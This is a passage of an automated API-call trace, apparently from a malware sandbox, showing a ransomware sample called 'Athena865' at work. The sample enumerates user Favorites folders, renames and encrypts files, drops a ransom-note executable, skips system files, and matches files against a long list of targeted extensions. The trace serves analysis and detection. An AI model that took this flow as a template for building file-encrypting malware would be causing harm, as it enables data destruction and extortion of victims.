Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.855] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.855] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.855] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.856] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.856] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.858] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.858] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.859] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.859] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.860] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2=".") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="..") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="windows") returned -1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="bootmgr") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="temp") returned -1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="pagefile.sys") returned -1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="boot") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="ids.txt") returned 1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="ntuser.dat") returned -1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="perflogs") returned -1 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2="MSBuild") returned 1 [0101.860] lstrlenW (lpString="MSN.url") returned 7 [0101.860] lstrcpyW (in: lpString1=0x241e8d4, lpString2="MSN.url" | out: lpString1="MSN.url") returned="MSN.url" [0101.860] lstrlenW (lpString="MSN.url") returned 7 [0101.860] lstrlenW (lpString="Athena865") returned 9 [0101.860] lstrlenW (lpString=".dll") returned 4 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2=".dll") returned 1 [0101.860] lstrlenW (lpString=".lnk") returned 4 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2=".lnk") returned 1 [0101.860] lstrlenW (lpString=".ini") returned 4 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2=".ini") returned 1 [0101.860] lstrlenW (lpString=".sys") returned 4 [0101.860] lstrcmpiW (lpString1="MSN.url", lpString2=".sys") returned 1 [0101.860] lstrlenW (lpString="MSN.url") returned 7 [0101.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Athena865") returned 87 [0101.861] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.athena865"), dwFlags=0x1) returned 1 [0101.861] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.862] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.862] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.862] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.862] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.863] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.865] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.865] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.866] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.866] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.866] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0101.866] lstrcmpiW (lpString1="MSNBC News.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.866] lstrcmpiW (lpString1="MSNBC News.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.866] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".") returned 1 [0101.866] lstrcmpiW (lpString1="MSNBC News.url", lpString2="..") returned 1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="windows") returned -1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="bootmgr") returned 1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="temp") returned -1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="pagefile.sys") returned -1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="boot") returned 1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ids.txt") returned 1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ntuser.dat") returned -1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="perflogs") returned -1 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2="MSBuild") returned 1 [0101.867] lstrlenW (lpString="MSNBC News.url") returned 14 [0101.867] lstrcpyW (in: lpString1=0x241e8d4, lpString2="MSNBC News.url" | out: lpString1="MSNBC News.url") returned="MSNBC News.url" [0101.867] lstrlenW (lpString="MSNBC News.url") returned 14 [0101.867] lstrlenW (lpString="Athena865") returned 9 [0101.867] lstrcmpiW (lpString1=" News.url", lpString2="Athena865") returned -1 [0101.867] lstrlenW (lpString=".dll") returned 4 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".dll") returned 1 [0101.867] lstrlenW (lpString=".lnk") returned 4 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".lnk") returned 1 [0101.867] lstrlenW (lpString=".ini") returned 4 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".ini") returned 1 [0101.867] lstrlenW (lpString=".sys") returned 4 [0101.867] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".sys") returned 1 [0101.867] lstrlenW (lpString="MSNBC News.url") returned 14 [0101.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Athena865") returned 94 [0101.867] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.athena865"), dwFlags=0x1) returned 1 [0101.869] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.869] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.869] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.870] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.870] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.870] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.874] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.874] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.875] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.875] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0101.875] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.876] ReleaseMutex (hMutex=0xec) returned 1 [0101.876] CloseHandle (hObject=0xec) returned 1 [0101.876] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0101.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0101.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b708 | out: hHeap=0x4f0000) returned 1 [0101.876] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned 69 [0101.876] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\84F6513A81E19CD4A5B0725317615710") returned 0xec [0101.876] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.876] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0101.876] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.876] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.877] GetLastError () returned 0x0 [0101.877] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.877] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.878] CloseHandle (hObject=0xf4) returned 1 [0101.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.878] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.878] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.878] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.878] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.878] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.878] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.878] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.878] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.878] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.878] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.878] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".") returned 1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="..") returned 1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="windows") returned -1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="bootmgr") returned 1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="temp") returned -1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="pagefile.sys") returned -1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="boot") returned 1 [0101.878] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ids.txt") returned -1 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ntuser.dat") returned -1 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="perflogs") returned -1 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="MSBuild") returned -1 [0101.879] lstrlenW (lpString="Get Windows Live.url") returned 20 [0101.879] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Get Windows Live.url" | out: lpString1="Get Windows Live.url") returned="Get Windows Live.url" [0101.879] lstrlenW (lpString="Get Windows Live.url") returned 20 [0101.879] lstrlenW (lpString="Athena865") returned 9 [0101.879] lstrcmpiW (lpString1=" Live.url", lpString2="Athena865") returned -1 [0101.879] lstrlenW (lpString=".dll") returned 4 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".dll") returned 1 [0101.879] lstrlenW (lpString=".lnk") returned 4 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".lnk") returned 1 [0101.879] lstrlenW (lpString=".ini") returned 4 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".ini") returned 1 [0101.879] lstrlenW (lpString=".sys") returned 4 [0101.879] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".sys") returned 1 [0101.879] lstrlenW (lpString="Get Windows Live.url") returned 20 [0101.879] lstrlenW (lpString="bak") returned 3 [0101.879] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.879] lstrlenW (lpString="ba_") returned 3 [0101.879] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.879] lstrlenW (lpString="dbb") returned 3 [0101.879] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.879] lstrlenW (lpString="vmdk") returned 4 [0101.879] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.879] lstrlenW (lpString="rar") returned 3 [0101.879] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.879] lstrlenW (lpString="zip") returned 3 [0101.879] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.879] lstrlenW (lpString="tgz") returned 3 [0101.879] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.879] lstrlenW (lpString="vbox") returned 4 [0101.880] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.880] lstrlenW (lpString="vdi") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.880] lstrlenW (lpString="vhd") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.880] lstrlenW (lpString="vhdx") returned 4 [0101.880] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.880] lstrlenW (lpString="avhd") returned 4 [0101.880] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.880] lstrlenW (lpString="db") returned 2 [0101.880] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.880] lstrlenW (lpString="db2") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.880] lstrlenW (lpString="db3") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.880] lstrlenW (lpString="dbf") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.880] lstrlenW (lpString="mdf") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.880] lstrlenW (lpString="mdb") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.880] lstrlenW (lpString="sql") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.880] lstrlenW (lpString="sqlite") returned 6 [0101.880] lstrcmpiW (lpString1="ve.url", lpString2="sqlite") returned 1 [0101.880] lstrlenW (lpString="sqlite3") returned 7 [0101.880] lstrcmpiW (lpString1="ive.url", lpString2="sqlite3") returned -1 [0101.880] lstrlenW (lpString="sqlitedb") returned 8 [0101.880] lstrcmpiW (lpString1="Live.url", lpString2="sqlitedb") returned -1 [0101.880] lstrlenW (lpString="xml") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.880] lstrlenW (lpString="$er") returned 3 [0101.880] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.880] lstrlenW (lpString="4dd") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.881] lstrlenW (lpString="4dl") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.881] lstrlenW (lpString="^^^") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.881] lstrlenW (lpString="abs") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.881] lstrlenW (lpString="abx") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.881] lstrlenW (lpString="accdb") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1 [0101.881] lstrlenW (lpString="accdc") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1 [0101.881] lstrlenW (lpString="accde") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1 [0101.881] lstrlenW (lpString="accdr") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1 [0101.881] lstrlenW (lpString="accdt") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1 [0101.881] lstrlenW (lpString="accdw") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1 [0101.881] lstrlenW (lpString="accft") returned 5 [0101.881] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1 [0101.881] lstrlenW (lpString="adb") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.881] lstrlenW (lpString="adb") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.881] lstrlenW (lpString="ade") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.881] lstrlenW (lpString="adf") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.881] lstrlenW (lpString="adn") returned 3 [0101.881] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.881] lstrlenW (lpString="adp") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.882] lstrlenW (lpString="alf") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.882] lstrlenW (lpString="ask") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.882] lstrlenW (lpString="btr") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.882] lstrlenW (lpString="cat") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.882] lstrlenW (lpString="cdb") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.882] lstrlenW (lpString="ckp") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.882] lstrlenW (lpString="cma") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.882] lstrlenW (lpString="cpd") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.882] lstrlenW (lpString="dacpac") returned 6 [0101.882] lstrcmpiW (lpString1="ve.url", lpString2="dacpac") returned 1 [0101.882] lstrlenW (lpString="dad") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.882] lstrlenW (lpString="dadiagrams") returned 10 [0101.882] lstrcmpiW (lpString1="s Live.url", lpString2="dadiagrams") returned 1 [0101.882] lstrlenW (lpString="daschema") returned 8 [0101.882] lstrcmpiW (lpString1="Live.url", lpString2="daschema") returned 1 [0101.882] lstrlenW (lpString="db-journal") returned 10 [0101.882] lstrcmpiW (lpString1="s Live.url", lpString2="db-journal") returned 1 [0101.882] lstrlenW (lpString="db-shm") returned 6 [0101.882] lstrcmpiW (lpString1="ve.url", lpString2="db-shm") returned 1 [0101.882] lstrlenW (lpString="db-wal") returned 6 [0101.882] lstrcmpiW (lpString1="ve.url", lpString2="db-wal") returned 1 [0101.882] lstrlenW (lpString="dbc") returned 3 [0101.882] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.883] lstrlenW (lpString="dbs") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.883] lstrlenW (lpString="dbt") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.883] lstrlenW (lpString="dbv") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.883] lstrlenW (lpString="dbx") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.883] lstrlenW (lpString="dcb") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.883] lstrlenW (lpString="dct") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0101.883] lstrlenW (lpString="dcx") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1 [0101.883] lstrlenW (lpString="ddl") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1 [0101.883] lstrlenW (lpString="dlis") returned 4 [0101.883] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1 [0101.883] lstrlenW (lpString="dp1") returned 3 